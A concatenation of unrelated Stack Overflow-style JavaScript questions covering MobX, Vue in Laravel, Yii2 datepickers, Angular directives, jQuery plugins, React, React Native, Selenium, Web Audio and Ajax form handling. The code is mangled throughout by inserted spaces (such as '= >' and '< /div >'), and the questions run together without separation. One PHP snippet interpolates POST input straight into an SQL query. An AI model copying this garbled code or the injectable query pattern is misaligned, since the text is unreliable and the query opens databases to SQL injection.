mobx ; const { observer } = mobxReact ; const { Component } = React ; class TestStore { @ observable mySimpleObject = { } ; @ action addSimpleProperty = ( value ) = > { extendObservable ( this.mySimpleObject , { newProp : value } ) ; } } @ observerclass MyView extends Component { constructor ( props ) { super ( props ) ; this.handleAddSimpleProperty = this.handleAddSimpleProperty.bind ( this ) ; } handleAddSimpleProperty ( e ) { this.props.myStore.addSimpleProperty ( `` newpropertyvalue '' ) ; } render ( ) { var simpleObjectString =JSON.stringify ( this.props.myStore.mySimpleObject ) ; return ( < div > < h3 > Simple Object < /h3 > { simpleObjectString } < br/ > < button onClick= { this.handleAddSimpleProperty } > Add Simple Property < /button > < /div > ) ; } } const store = new TestStore ( ) ; ReactDOM.render ( < MyView myStore= { store } / > , document.getElementById ( 'mount ' ) ) ; store.mySimpleObject = { prop1 : `` property1 '' , prop2 : `` property2 '' } ;",Why is my call to ( mobx ) extendObservable not triggering a re-render ? "JS : My Mouse hover is not working when I am using it on Laravel.My Vue file is stored in resources/js/Dashboard.vueWhat I tried so far is to change v-on : mouseover with @ mouseover but it still not working.The Result is that when I hover the button it does n't change texts.What am I doing wrong and how can I fix it ? Below , the content of my Dashboard.vue file ; Here , the content of my Blade.php file ; To take a close look and reproduce locally , below is the package.json file ; Edit added my app.js < template > < div id= '' mouse '' > < a v-on : mouseover= '' mouseover '' v-on : mouseleave= '' mouseleave '' > { { message } } < /a > < /div > < /template > < ! -- Force Override of the css style for datepicker class -- > < style > # mouse { position : absolute ; top : 50 % ; left : 50 % ; transform : translate ( -50 % , -50 % ) ; display : block ; width : 280px ; height : 50px ; margin : 0 auto ; line-height : 50px ; text-align : center ; color : # fff ; background : # 007db9 ; } < /style > < script > export default { components : { } , data ( ) { return { showAudience : false , message : 'Hover Me ' , } } , computed : { } , methods : { mouseover : function ( ) { this.message = 'Good ! ' } , mouseleave : function ( ) { this.message = 'Hover Me ! ' } } , mounted ( ) { } , } < /script > @ extends ( 'layouts.app ' , [ 'pageSlug ' = > 'dashboard ' ] ) @ section ( 'content ' ) < dashboard-component > < /dashboard-component > @ endsection @ push ( 'js ' ) < script src= '' { { asset ( 'black ' ) } } /js/plugins/chartjs.min.js '' > < /script > < script src= '' { { asset ( 'js/app.js ' ) } } '' > < /script > < script > $ ( document ) .ready ( function ( ) { //demo.initDashboardPageCharts ( ) ; } ) ; < /script > @ endpush { `` private '' : true , `` scripts '' : { `` dev '' : `` npm run development '' , `` development '' : `` cross-env NODE_ENV=development node_modules/webpack/bin/webpack.js -- progress -- hide-modules -- config=node_modules/laravel-mix/setup/webpack.config.js '' , `` watch '' : `` npm run development -- -- watch '' , `` watch-poll '' : `` npm run watch -- -- watch-poll '' , `` hot '' : `` cross-env NODE_ENV=development node_modules/webpack-dev-server/bin/webpack-dev-server.js -- inline -- hot -- config=node_modules/laravel-mix/setup/webpack.config.js '' , `` prod '' : `` npm run production '' , `` production '' : `` cross-env NODE_ENV=production node_modules/webpack/bin/webpack.js -- no-progress -- hide-modules -- config=node_modules/laravel-mix/setup/webpack.config.js '' } , `` devDependencies '' : { `` axios '' : `` ^0.19 '' , `` bootstrap '' : `` ^4.1.0 '' , `` cross-env '' : `` ^5.1 '' , `` jquery '' : `` ^3.2 '' , `` laravel-mix '' : `` ^4.0.7 '' , `` lodash '' : `` ^4.17.13 '' , `` popper.js '' : `` ^1.12 '' , `` resolve-url-loader '' : `` ^2.3.1 '' , `` sass '' : `` ^1.15.2 '' , `` sass-loader '' : `` ^7.1.0 '' , `` vue '' : `` ^2.6.10 '' , `` vue-template-compiler '' : `` ^2.6.10 '' } , `` dependencies '' : { `` chart.js '' : `` ^2.8.0 '' , `` friendly-errors-webpack-plugin '' : `` npm : @ soda/friendly-errors-webpack-plugin @ ^1.7.1 '' , `` vue-chartjs '' : `` ^3.4.2 '' , `` vue2-datepicker '' : `` ^2.12.0 '' } } require ( './bootstrap ' ) ; window.Vue = require ( 'vue ' ) ; import Vue from 'vue'import App from './components/App.vue'/** * The following block of code may be used to automatically register your * Vue components . It will recursively scan this directory for the Vue * components and automatically register them with their `` basename '' . * * Eg . ./components/ExampleComponent.vue - > < example-component > < /example-component > */// const files = require.context ( './ ' , true , /\.vue $ /i ) ; // files.keys ( ) .map ( key = > Vue.component ( key.split ( '/ ' ) .pop ( ) .split ( ' . ' ) [ 0 ] , files ( key ) .default ) ) ; Vue.component ( 'dashboard-component ' , require ( './components/Dashboard.vue ' ) .default ) ; Vue.component ( 'base-table ' , require ( './components/base/BaseTable.vue ' ) ) ; Vue.component ( 'example-component ' , require ( './components/ExampleComponent.vue ' ) .default ) ; new Vue ( { el : ' # app ' , } ) ;",Mouse Hover in VueJS component implementation in Laravel "JS : I rewrited my question : I 'm using Kartick DatePicker to display a datepicker . On this datepicker , I want to disable dates using javascript . Here is what I have : With the JS : I tried to change the format of the date to 2017/08/25 or 08/25/2017 but in any case nothing is displayed into the logs.I also tried to use kvDatepicker ( ) instead of datepicker ( ) but this gave me Uncaught TypeError : $ ( ... ) .kvDatepicker is not a functionAny clue on what is wrong here ? Thank 's . < ? = DatePicker : :widget ( [ 'name ' = > 'mydate ' , 'language ' = > 'fr ' , 'clientOptions ' = > [ 'autoclose ' = > true , 'format ' = > 'dd-M-yyyy ' ] ] ) ; ? > $ ( function ( ) { $ ( `` # w0 '' ) .datepicker ( `` setDatesDisabled '' , [ '25-08-2017 ' ] ) ; } ) ;",yii2 datepicker disable dates using javascript "JS : I 'm trying to write a dynamic template using TypeScript and Angular , however for some reason the 'this ' keyword is always null , thus I can not access my private member $ compile . Any ideas ? Many Thanks ! : - ) Directive : App.ts : namespace ROD.Features.Player { `` use strict '' ; export class VideoDirective implements ng.IDirective { public restrict : string = `` E '' ; public replace : boolean = true ; public scope = { content : `` = '' } ; constructor ( private $ compile : ng.ICompileService ) { } public link ( element : JQuery , scope : ng.IScope ) : any { const youtubeTemplate = `` < p > Youtube < /p > '' ; const vimeoTemplate = `` < p > Vimeo < /p > '' ; var linkFn = this. $ compile ( youtubeTemplate ) ; const content : any = linkFn ( scope ) ; element.append ( content ) ; } } } namespace ROD { `` use strict '' ; angular.module ( `` rodApp '' , [ ] ) .service ( `` Settings '' , [ ( ) = > new Settings.DevelopmentSettings ( ) ] ) .service ( `` RedditService '' , [ `` $ http '' , `` Settings '' , ( $ http : ng.IHttpService , settings : Settings.ISettings ) = > new Services.Reddit.RedditService ( $ http , settings.sourceUrl ) , ] ) .directive ( `` videoItem '' , [ `` $ compile '' , ( $ compile : ng.ICompileService ) = > new Features.Player.VideoDirective ( $ compile ) ] ) .controller ( `` PlayerController '' , [ `` $ scope '' , `` RedditService '' , ( $ scope : any , redditService : Services.Reddit.IRedditService ) = > new Features.Player.PlayerController ( $ scope , redditService ) , ] ) ; }","Why is `` this '' null , in the link function within an Angular Directive ?" "JS : i 'm reading through jQuery 's `` Plugins/Authoring '' though i already wrote a few jQuery-Plugins . Now I see that jQuery has a special way of scoping the methods and calling : I understand the concept of what will happen in the end… but how exactly ? This part is what confuses me : Why Array.prototype.slide.call ( argumetns , 1 ) ? And where does the variable `` arguments '' come from all of the sudden ? Any brief or deeper explanation is much appreciated . It is said , that this is how plugins should be written… so i 'd like to know why.Thanks ! ( function ( $ ) { var methods = { init : function ( options ) { // THIS } , show : function ( ) { // IS } , hide : function ( ) { // GOOD } , update : function ( content ) { // ! ! ! } } ; $ .fn.tooltip = function ( method ) { // Method calling logic if ( methods [ method ] ) { return methods [ method ] .apply ( this , Array.prototype.slice.call ( arguments , 1 ) ) ; } else if ( typeof method === 'object ' || ! method ) { return methods.init.apply ( this , arguments ) ; } else { $ .error ( 'Method ' + method + ' does not exist on jQuery.tooltip ' ) ; } } ; } ) ( jQuery ) ; // Method calling logic if ( methods [ method ] ) { return methods [ method ] .apply ( this , Array.prototype.slice.call ( arguments , 1 ) ) ; } else if ( typeof method === 'object ' || ! method ) { return methods.init.apply ( this , arguments ) ; }",What does this Code do ? "JS : So I almost have my code working how I want , but ca n't get my animation synched together just right . I am trying to animate a cursor highlighting text , and then clicking on a button . The problem is that the cursor is either too slow or too fast . I am trying to make this dynamic so that no matter how long the text is I can still have the animation synch . I know that it is probably just a math issue , but ca n't quite get my head around it . Something about trying to match pixels with milliseconds is making my head spin . Please help before I pull out all my hair . Thanks . Here is the htmlHere is the CSSAnd the javascriptHere is a link to the fiddle I have been playing around in . < p > < span id= '' container '' > I need to be highlighted one character at a time < /span > < input id= '' click '' type= '' button '' value= '' click me '' / > < /p > < img src= '' http : //dl.dropbox.com/u/59918876/cursor.png '' width= '' 16 '' / > # container { font-size : 16px ; margin-right : 10px ; } .highlight { background : yellow ; } img { position : relative ; top : -10px ; } function highlight ( ) { var text = $ ( ' # container ' ) .text ( ) ; //get text of container $ ( ' # click ' ) .css ( 'border ' , 'none ' ) ; //remove the border $ ( 'img ' ) .css ( 'left ' , '0px ' ) ; //reset the cursor left $ ( 'img ' ) .animate ( { left : $ ( ' # container ' ) .width ( ) + 40 } , text.length*70 ) ; //animation of cursor $ ( ' # container ' ) .html ( ' < span class= '' highlight '' > '+text.substring ( 0,1 ) + ' < /span > < span > '+text.substring ( 1 ) + ' < /span > ' ) ; //set the first html ( function myLoop ( i ) { //animation loop setTimeout ( function ( ) { var highlight = $ ( '.highlight ' ) .text ( ) ; var highlightAdd = $ ( '.highlight ' ) .next ( ) .text ( ) .substring ( 0,1 ) ; ; var plain = $ ( '.highlight ' ) .next ( ) .text ( ) .substring ( 1 ) ; $ ( ' # container ' ) .html ( ' < span class= '' highlight '' > '+highlight+highlightAdd+ ' < /span > < span > '+plain+ ' < /span > ' ) ; if ( -- i ) myLoop ( i ) ; // decrement i and call myLoop again if i > 0 } , 70 ) } ) ( text.length ) ; setTimeout ( function ( ) { $ ( ' # click ' ) .css ( 'border ' , '1px solid black ' ) ; } , text.length*85 ) ; } highlight ( ) ; var intervalID = setInterval ( highlight , $ ( ' # container ' ) .text ( ) .length*110 ) ; //clearInterval ( intervalID ) ;","Animation synching , cursor and highlight" "JS : My issue is the following : I am training to retrieve the information on this website https : //www.cetelem.es/.I want to do several things : Click on the two slide buttons to change the information.Retrieve the information following the change of the sliding buttonsPut a condition , only retrieve information when tin and tae change.I tried with the following code on google colab : error1If you have the solution , can you explain my mistake ? Because I 'm a real beginner in scraping . from selenium import webdriverfrom selenium.webdriver.support.ui import WebDriverWaitfrom selenium.webdriver.support import expected_conditions as ECchrome_options = webdriver.ChromeOptions ( ) chrome_options.add_argument ( ' -- headless ' ) chrome_options.add_argument ( ' -- no-sandbox ' ) chrome_options.add_argument ( ' -- disable-dev-shm-usage ' ) chrome_options.add_argument ( ' -- start-maximized ' ) webdriver = webdriver.Chrome ( 'chromedriver ' , chrome_options=chrome_options ) url = `` https : //www.cetelem.es/ '' webdriver.get ( url ) webdriver.find_element_by_class_name ( `` bar-slider importe '' ) .send_keys ( `` 20.000 '' ) webdriver.find_element_by_class_name ( `` bar-slider messes '' ) .send_keys ( `` 30 '' ) webdriver.save_screenshot ( 'sreenshot.png ' ) print ( webdriver.find_element_by_tag_name ( 'body ' ) .text )",Slider button click in selenium python "JS : I was recently in a discussion with a work colleague about some differences in our coding practices , where I raised an issue about his excessive use of the two above mentioned methods in his event handlers . Specifically , they all look like this ... He has made the claim that this is a good practice with no foreseeable blowback , and will improve cross-platform support while reducing unexpected issues down the road.My question to you guys : If he 's right , why has n't the jQuery team implemented this behavior globally applied to all event handlers ? In effect , my assumption is that he 's wrong simply because the methods are available for independent use , but who knows ... Your insight is much appreciated. -- Update : I did a simple speed test , and there is a little drag caused by these two function , but nothing terribly noticeable . Still , among other things , a good reason to be deliberate in their use I think.The above logged ~9.5 seconds as is , and ~2.5 seconds when I took the function calls out of the loop . $ ( 'span.whatever ' ) .on ( 'click ' , function ( e ) { e.preventDefault ( ) ; e.stopPropagation ( ) ; /* do things */ } ) ; $ ( 'span.whatever ' ) .on ( 'click ' , function ( e ) { var start = new Date ( ) ; for ( i = 0 ; i < 999999 ; i++ ) { e.preventDefault ( ) ; e.stopPropagation ( ) ; } console.log ( new Date ( ) - start ) ; } ) ;",Excessive Use of jQuery 's preventDefault ( ) and stopPropagation ( ) "JS : Currently I was able to optimise performance quite a bit , but it is still somewhat slow : /LATEST EDIT : My current solution ( the fastest atm ( but still slow ) and keeps order ) : serverclient queryclient HTML router.post ( '/images ' , function ( req , res , next ) { var image = bucket.file ( req.body.image ) ; image.download ( function ( err , contents ) { if ( err ) { console.log ( err ) ; } else { var resultImage = base64_encode ( contents ) ; var index = req.body.index ; var returnObject = { image : resultImage , index : index } res.send ( returnObject ) ; } } ) ; } ) ; $ scope.getDataset = function ( ) { fb.orderByChild ( 'id ' ) .startAt ( _start ) .limitToFirst ( _n ) .once ( `` value '' , function ( dataSnapshot ) { dataSnapshot.forEach ( function ( childDataSnapshot ) { _start = childDataSnapshot.child ( `` id '' ) .val ( ) + 1 ; var post = childDataSnapshot.val ( ) ; var image = post.image ; var imageObject = { image : image , index : position } ; position++ ; $ .ajax ( { type : `` POST '' , url : `` images '' , data : imageObject , } ) .done ( function ( result ) { post.image = result.image ; $ scope.data [ result.index ] = post ; $ scope. $ apply ( ) ; firstElementsLoaded = true ; } ) ; } ) } ) ; } ; < div ng-controller= '' ctrl '' > < div class= '' allcontent '' > < div id= '' pageContent '' ng-repeat= '' d in data track by $ index '' > < a href= '' details/ { { d.key } } '' target= '' _blank '' > < h3 class= '' text-left '' > { { d.title } } < a href= '' ../users/ { { d.author } } '' > < span class= '' authorLegend '' > < i > by { { d.username } } < /i > < /span > < /a > < /h3 > < /a > < div class= '' postImgIndex '' ng-show= '' { { d.upvotes - d.downvotes > -50 } } '' > < a href= '' details/ { { d.key } } '' target= '' _blank '' > < img class= '' imgIndex '' ng-src= '' data : image/png ; base64 , { { d.image } } '' > < /a > < /div > < div class= '' postScore '' > { { d.upvotes - d.downvotes } } HP < /div > < /div > < /div > < /div >",Why is my solution so slow and how can I improve performance of the query ? "JS : I am relatively new to Backbone and I am running into this problem.I am using Backbone with DustJSMy template looks something like this - index.dustThis is my partial below - responseMessage.dustMy JS looks like thisBelow function is called when an event occurs and it does a POST and returns successfully.My implementations of the callback functionthis.model belongs to the model of the whole page . Whereas this.responseMessageView.model is the model for the partial . Question : This works perfectly fine in most of the cases . There is one case where it does not render the partial with the latest model values . When I click on the button on index.dust and primaryViewSuccess is executed . After which I click on another button and trigger responseViewEventTrigger . It does the POST successfully and it comes to responseViewSuccess and stores it in the model too . But it does not show it on the frontend . data.success is still not true whereas console.log ( this.responseMessageView.model ) show that attributes- > data- > success = trueBut the same behavior when I refresh the page it all works perfect . Its just that when primaryViewSuccess is called and then responseViewSuccess its not taking the latest model changes . In other words model is being updated but the DOM remains the same.What am I missing here ? Thanks for your time ! < div id= '' parentView '' > < div class= '' section '' > { > '' app/inc/responseMessage '' / } < div class= '' userDetails '' > { ! A button to get user details ! } < /div > < /div > < /div > < div id= '' responseMessage '' > { @ eq key= '' { data.success } '' value= '' true '' } < div class= '' alert alert-success success '' role= '' alert '' > success < /div > { /eq } < /div > initialize : function ( ) { this.responseMessageView = this.responseMessageView || new ResponseMessageView ( { model : new Backbone.Model ( ) } ) ; // View is for the partial this.model = this.model || new Backbone.Model ( ) ; //View for the whole page } , primaryViewEventTrigger : function ( event ) { //Button click on ` index.dust ` triggers this event and does a POST event to the backend this.listenToOnce ( this.model , 'sync ' , this.primaryViewSuccess ) ; //this will render the whole view . this.listenToOnce ( this.model , 'error ' , this.primaryViewError ) ; this.model.save ( { data : { x : '123 ' } } ) ; } responseViewEventTrigger : function ( event ) { //Button click on ` responseMessage.dust ` triggers this event and does a POST event to the backend this.listenToOnce ( this.responseMessageView.model , 'sync ' , this.responseViewSuccess ) ; //it should only render the partial view - responseMessage.dust this.listenToOnce ( this.responseMessageView.model , 'error ' , this.primaryViewError ) ; this.responseMessageView.model.save ( { data : { x : '123 ' } } ) ; } primaryViewSuccess : function ( model , response ) { this.model.set ( 'data ' , response.data ) ; this.render ( ) ; } responseViewSuccess : function ( model , response ) { this.responseMessageView.model.set ( 'data ' , response.data ) ; console.log ( this.responseMessageView.model ) ; this.responseMessageView.render ( ) ; // Does not work in some cases } exports.sendEmail = function sendEmail ( req , res ) { req.model.data.success = true ; responseRender.handleResponse ( null , req , res ) ; } ;",Backbone partial view not rendering the latest model "JS : I dont know how to explain this , so ill do the best that I can.I have a page that has some simple javascript on it : The above code works fine , until I add : If its ABOVE the previous script block , CSS doesnt load.If its BELOW the previous script block , my clearIt\fillIt functions dont work . Any idea 's why referring to this script can cause my other stuff to bomb ? < script language= '' javascript '' type= '' text/javascript '' > function clearIt ( txtbox , initVal ) { alert ( ' f ' ) ; if ( txtbox.value == initVal ) { txtbox.value = `` ; } } function fillIt ( txtbox , initVal ) { if ( txtbox.value == `` ) { txtbox.value = initVal ; } } < /script > < script src= '' Scripts/jquery-1.4.2.js '' type= '' text/javascript '' / >",Script Src is breaking page "JS : I am using Jquery validation plugin to validate form , I need to display success/error message after submission without reloading page . But everytime I submit form , page reloads . Also even when data appears on database , `` error '' alert keeps coming.index.phpJavascript code : < ? phpfunction register ( ) { $ name = $ _POST [ 'name ' ] ; $ mail = $ _POST [ 'email ' ] ; $ query = `` INSERT INTO table_name ( name , email ) VALUES ( ' $ name ' , ' $ email ' ) '' ; $ data = mysql_query ( $ query ) or die ( mysql_error ( ) ) ; echo json_encode ( $ data ) ; } if ( isset ( $ _POST [ 'submit ' ] ) ) { register ( ) ; } ? > $ ( `` # myform '' ) .validate ( { //rules , messages go here submitHandler : function ( event ) { $ .ajax ( { url : `` index.php '' , type : `` POST '' , data : $ ( # myform ) .serialize ( ) , dataType : 'json ' , success : function ( ) { alert ( `` Thank you ! `` ) ; } , error : function ( ) { alert ( `` Error . Try again please ! `` ) ; } } ) ; event.preventDefault ( ) ; } } ) ;",Ajax form submission with Jquery validation plugin is not working "JS : I have created a HTML form which has two buttons ( instead of a submit button ) , each programmatically sending the form to a unique form action address.The scripts : Work well , responding to which button you press . However , the same html form validation that worked before ( when using a 'submit ' button ) , no longer shows a hint and the form sends regardless of whether there is input or not.I have read that because I am calling the form.submit ( ) programmatically , it bypasses the onSubmit ( ) function of a form , which is where the validation takes place.My question is : Can I programmatically force the onSubmit ( ) so that I get the validation pop up ? I must make clear that I am NOT wanting to create a JavaScript form validation , i.e . using an alert ; rather , use JavaScript to enforce the HTML validation as found here , when you click submit : https : //jsfiddle.net/qdzxfm9u/ < form id= '' formExample '' > < input type= '' text '' id= '' input1 '' required > < label type= '' button '' onClick= '' form1 ( ) '' > Form Action 1 < /label > < label type= '' button '' onClick= '' form2 ( ) '' > Form Action 2 < /label > < /form > form = document.getElementById ( `` formExample '' ) ; function form1 ( ) { form.action= '' example1.php '' ; form.submit ( ) ; } function form2 ( ) { form.action= '' example2.php '' ; form.submit ( ) ; }",Force HTML form validation via JavaScript "JS : This article hit the top of HackerNews recently : http : //highscalability.com/blog/2013/9/18/if-youre-programming-a-cell-phone-like-a-server-youre-doing.html # In which it states : The cell radio is one of the biggest battery drains on a phone . Every time you send data , no matter how small , the radio is powered on for up for 20-30 seconds . Every decision you make should be based on minimizing the number of times the radio powers up . Battery life can be dramatically improved by changing the way your apps handle data transfers . Users want their data now , the trick is balancing user experience with transferring data and minimizing power usage . A balance is achieved by apps carefully bundling all repeating and intermittent transfers together and then aggressively prefetching the intermittent transfers.I would like to modify $ .ajax to add an option like `` does n't need to be done right now , just do this request when another request is launched '' . What would be a good way to go about this ? I started with this : I ca n't tell by the wording of the paper , I guess a good batch `` interval '' is 2-5 minutes , so I just used 5.Is this a good implementation ? How can I make this a true modification of just the ajax method , by adding a { batchable : true } option to the method ? I have n't quite figured that out either.Does setInterval also keep the phone awake all the time ? Is that a bad thing to do ? Is there a better way to not do that ? Are there other things here that would cause a battery to drain faster ? Is this kind of approach even worthwhile ? There are so many things going on at once in a modern smartphone , that if my app is n't using the cell , surely some other app is . Javascript ca n't detect if the cell is on or not , so why bother ? Is it worth bothering ? ( function ( $ ) { var batches = [ ] ; var oldAjax = $ .fn.ajax ; var lastAjax = 0 ; var interval = 5*60*1000 ; // Should be between 2-5 minutes $ .fn.extend ( { batchedAjax : function ( ) { batches.push ( arguments ) ; } } ) ; var runBatches = function ( ) { var now = new Date ( ) .getTime ( ) ; var batched ; if ( lastAjax + interval < now ) { while ( batched = batches.pop ( ) ) { oldAjax.apply ( null , batched ) ; } } } setInterval ( runBatches , interval ) ; $ .fn.ajax = function ( ) { runBatches ( ) ; oldAjax.apply ( null , arguments ) ; lastAjax = now ; } ; } ) ( jQuery ) ;",Batching requests to minimize cell drain "JS : How can I make a rotated banner the same way as Tidal does hereI have tried making a trapezoid and rotate it by 45 degrees according to http : //browniefed.com/blog/the-shapes-of-react-native/ and then place a rotated text on top of it , but it is very difficult to make it align with the borders.I have also thought about making first one big triangle and then a smaller triangle on top ( hiding a part of the big triangle ) , such that only the banner is visible , and then place a rotated text , but since the image behind is not solid colored , it is not possible to select a background color for the smaller triangle that will hide the bigger triangle.The easiest must be something like thisbut then I have to change the position manually according to the size of the text , and the borders of the rectangle will stick out of the picture . var Trapezoid = React.createClass ( { render : function ( ) { return ( < View style= { styles.trapezoid } / > ) } } ) trapezoid : { width : 200 , height : 0 , borderBottomWidth : 100 , borderBottomColor : 'red ' , borderLeftWidth : 50 , borderLeftColor : 'transparent ' , borderRightWidth : 50 , borderRightColor : 'transparent ' , borderStyle : 'solid ' } < View style= { { transform : [ { rotate : '-30deg ' } ] , marginLeft : 5 , marginTop : 5 , backgroundColor : 'lightblue ' , borderTopWidth : 1 , borderBottomWidth : 1 , borderColor : ' # fff ' , paddingVertical : 1 , paddingHorizontal : 20 , marginLeft : -15 , marginTop : 8 } } > < Text style= { { backgroundColor : 'transparent ' , color : ' # 111 ' , fontSize : 10 , fontWeight : 'bold ' } } > EXCLUSIVE < /Text > < /View >",Create a rotated text banner ( trapezoid ) on top of image in React Native "JS : Inside my render return ( ) I have these : Which is this function : ^ I have to comment out the setState for now otherwise I 'll get that error I posted above and the app breaks.I have this in my constructor : this.selectTimeframe = this.selectTimeframe.bind ( this ) ; I found this answer here , but it does not make sense , how am I suppose to pass in variable ? Or is he saying that every unique button needs a unique function ? As to avoid calling it inside of the render ? Full code < button onClick= { this.selectTimeframe ( 'Today ' ) } className= { this.setActiveIf ( 'Today ' ) } type= '' button '' > Today < /button > selectTimeframe ( timeframe ) { // this.setState ( { timeframe } ) ; } import React from 'react ' ; export class TimeframeFilter extends React.Component { constructor ( props ) { super ( props ) ; this.state = { timeframe : 'Today ' } ; this.selectTimeframe = this.selectTimeframe.bind ( this ) ; this.setActiveIf = this.setActiveIf.bind ( this ) ; } componentDidMount ( ) { console.log ( ' % c TimeframeFilter componentDidMount ' , 'background : # 393939 ; color : # bada55 ' , this.state ) ; } selectTimeframe ( timeframe ) { // this.setState ( { timeframe } ) ; } setActiveIf ( timeframe ) { return this.state.timeframe === timeframe ? 'btn btn-default active ' : 'btn btn-default ' ; } render ( ) { return ( < div className= '' fl '' > < span className= '' label label-default mr10 '' > Timeframe < /span > < div className= '' btn-group btn-group-sm mr20 '' role= '' group '' > < button onClick= { this.selectTimeframe ( 'Today ' ) } className= { this.setActiveIf ( 'Today ' ) } type= '' button '' > Today < /button > < button onClick= { this.selectTimeframe ( 'Week ' ) } className= { this.setActiveIf ( 'Week ' ) } type= '' button '' > Week < /button > < button onClick= { this.selectTimeframe ( 'Month ' ) } className= { this.setActiveIf ( 'Month ' ) } type= '' button '' > Month < /button > < button onClick= { this.selectTimeframe ( 'Year ' ) } className= { this.setActiveIf ( 'Year ' ) } type= '' button '' > Year < /button > < button onClick= { this.selectTimeframe ( 'All ' ) } className= { this.setActiveIf ( 'All ' ) } type= '' button '' > All < /button > < /div > < /div > ) ; } } export default TimeframeFilter ;",Can not update during an existing state transition error in React "JS : To the best of my understanding it is not possible to include a transition on the entering elements in the standard enter/append/merge chain , since doing so would replace the entering element selection with a transition that can not be merged with the update selection . ( See here on the distinction between selections and transitions ) . ( Question edited in response to comment ) If the desired effect is sequenced transitions , one before and one after the merge , it can be accomplished as follows : jsfiddleI would like to know if there is a way to do this without breaking up the enter/append/merge chain . // Join data , store update selection circ = svg.selectAll ( `` circle '' ) .data ( dataset ) ; // Add new circle and store entering circle selection var newcirc = circ.enter ( ) .append ( `` circle '' ) *attributes*// Entering circle transition newcirc .transition ( ) .duration ( 1000 ) *modify attributes* .on ( `` end '' , function ( ) { // Merge entering circle with existing circles , transition all circ = newcirc.merge ( circ ) .transition ( ) .duration ( 1000 ) *modify attributes* } ) ;",D3 V4 Transition on entering elements using General Update Pattern with merge "JS : I am looking for an approach to allow only whitelisted scripts to run within a sandboxed iframe . I was thinking of an iframe-sandbox directive that allows only whitelisted scripts to run within an iframe . The analogy is the script-src directive in the Content Security Policy.The problem : The app in the iframe provides valuable functionality for my website . However , it pulls in external resources that I would like to control ( i.e. , block ) , e.g. , AnalyticsJavaScript.com and TrackingPixel.com . I would like to allow scripts from app.thirdparty.com but block AnalyticsJavaScript.com and TrackingPixel.com . Any help appreciated . < iframe sandbox= '' allow-same-origin allow-scripts '' src= '' https : //app.thirdparty.com '' width= '' 100 % '' height= '' 800 '' frameBorder= '' 0 '' > < /iframe >","How to allow only whitelisted resources ( scripts , pixels etc . ) to run within a sandboxed iframe ?" "JS : I 'm trying to rewrite some ( very simple ) android code I found written in Java into a static HTML5 app ( I do n't need a server to do anything , I 'd like to keep it that way ) . I have extensive background in web development , but basic understanding of Java , and even less knowledge in Android development . The only function of the app is to take some numbers and convert them into an audio chirp from bytes . I have absolutely no problem translating the mathematical logic into JS . Where I 'm having trouble is when it gets to actually producing the sound . This is the relevant parts of the original code : How do I do this in JS ? I can use a dataURI to produce the sound from the bytes , but does that allow me to control the other information here ( i.e. , sample rate , etc. ) ? In other words : What 's the simplest , most accurate way to do this in JS ? updateI have been trying to replicate what I found in this answer . This is the relevant part of my code : However , when I run this I get this error : Which I find quite extraordinary , as it 's such a general error it manages to beautifully tell me exactly squat about what is wrong . Even more surprising , when I debugged this step by step , even though the chain of the errors starts ( expectedly ) with the line context.decodeAudioData ( buffer.buffer , play ) ; it actually runs into a few more lines within the jQuery file ( 3.2.1 , uncompressed ) , going through lines 5208 , 5195 , 5191 , 5219 , 5223 and lastly 5015 before erroring out . I have no clue why jQuery has anything to do with it , and the error gives me no idea what to try . Any ideas ? import android.media.AudioFormat ; import android.media.AudioManager ; import android.media.AudioTrack ; // later in the code : AudioTrack track = new AudioTrack ( AudioManager.STREAM_MUSIC , sampleRate , AudioFormat.CHANNEL_OUT_MONO , AudioFormat.ENCODING_PCM_16BIT , minBufferSize , AudioTrack.MODE_STATIC ) ; // some math , and then : track.write ( sound , 0 , sound.length ) ; // sound is an array of bytes window.onload = init ; var context ; // Audio contextvar buf ; // Audio bufferfunction init ( ) { if ( ! window.AudioContext ) { if ( ! window.webkitAudioContext ) { alert ( `` Your browser does not support any AudioContext and can not play back this audio . `` ) ; return ; } window.AudioContext = window.webkitAudioContext ; } context = new AudioContext ( ) ; } function playByteArray ( bytes ) { var buffer = new Uint8Array ( bytes.length ) ; buffer.set ( new Uint8Array ( bytes ) , 0 ) ; context.decodeAudioData ( buffer.buffer , play ) ; } function play ( audioBuffer ) { var source = context.createBufferSource ( ) ; source.buffer = audioBuffer ; source.connect ( context.destination ) ; source.start ( 0 ) ; } Uncaught ( in promise ) DOMException : Unable to decode audio data",rewriting Java code to JS - creating an audio from bytes ? JS : i found this code via Google Developer Tools : and this code via html source code : obviously these classes get generated with Javascript.But Why ? Why so many css classes for html root element ? < html xmlns= '' http : //www.w3.org/1999/xhtml '' xml : lang= '' en '' lang= '' en '' class= '' js canvas canvastext geolocation crosswindowmessaging websqldatabase no-indexeddb hashchange historymanagement draganddrop websockets rgba hsla multiplebgs backgroundsize borderimage borderradius boxshadow opacity cssanimations csscolumns cssgradients cssreflections csstransforms no-csstransforms3d csstransitions video audio localstorage sessionstorage webworkers applicationcache svg smil svgclippaths no-opera no-mozilla webkit fontface '' > < /html > < html xmlns= '' http : //www.w3.org/1999/xhtml '' xml : lang= '' en '' lang= '' en '' > < /html >,css classes for html root element ? "JS : I would like to do the something along the following : The problem with this is that I always get the final value of i because Javascript 's closure is not by-value.So how can I do this with javascript ? for ( var i = 0 ; i < 10 ; ++i ) { createButton ( x , y , function ( ) { alert ( `` button `` + i + `` pressed '' ) ; } }",Javascript : closure of loop ? JS : I have n't found this feature anywhere in svelte 3..I want it to be something like this..App.svelteError.svelteI want App.svelte to show : I only know how to do this with React 's props.children . < Error > < p > Ca n't connect to the server ! < /p > < /Error > ` < div > { props.children } < /div > < div > < p > Ca n't connect to the server ! < /p > < /div >,Svelte equivalent of React 's props.children ? "JS : I have a input type text with datalist that contains duplicate option valuesWhat options i have to get the data-id when i select option . For example if i select the the second John to get 3 as id . I just found this : but if i chose the second john it returns 1 as id , whitch is incorrect . < input type= '' text '' id= '' my-input '' list= '' data-list '' > < datalist id= '' data-list '' > < option value= '' John '' data-id= '' 1 '' > < /option > < option value= '' George '' data-id= '' 2 '' > < /option > < option value= '' John '' data-id= '' 3 '' > < /option > < /datalist > $ ( `` # data-list option [ value= ' '' + $ ( ' # my-input ' ) .val ( ) + `` ' ] '' ) .attr ( 'data-id ' ) ;",How to detect selected option in datalist when has duplicate option ? JS : Is there any difference in the two definitions and assignments of functions ? vs . this.foo = new ( function ( ) { .. } ) ( ) ; this.foo = function ( ) { ... } ;,why this way `` this.foo = new ( function ( ) { .. } ) ( ) ; '' vs. `` this.foo = function ( ) { ... } ; '' "JS : I am thinking of moving my static .JS files to a CDN such as Amazon S3 for performance reasons . As my PHP files and 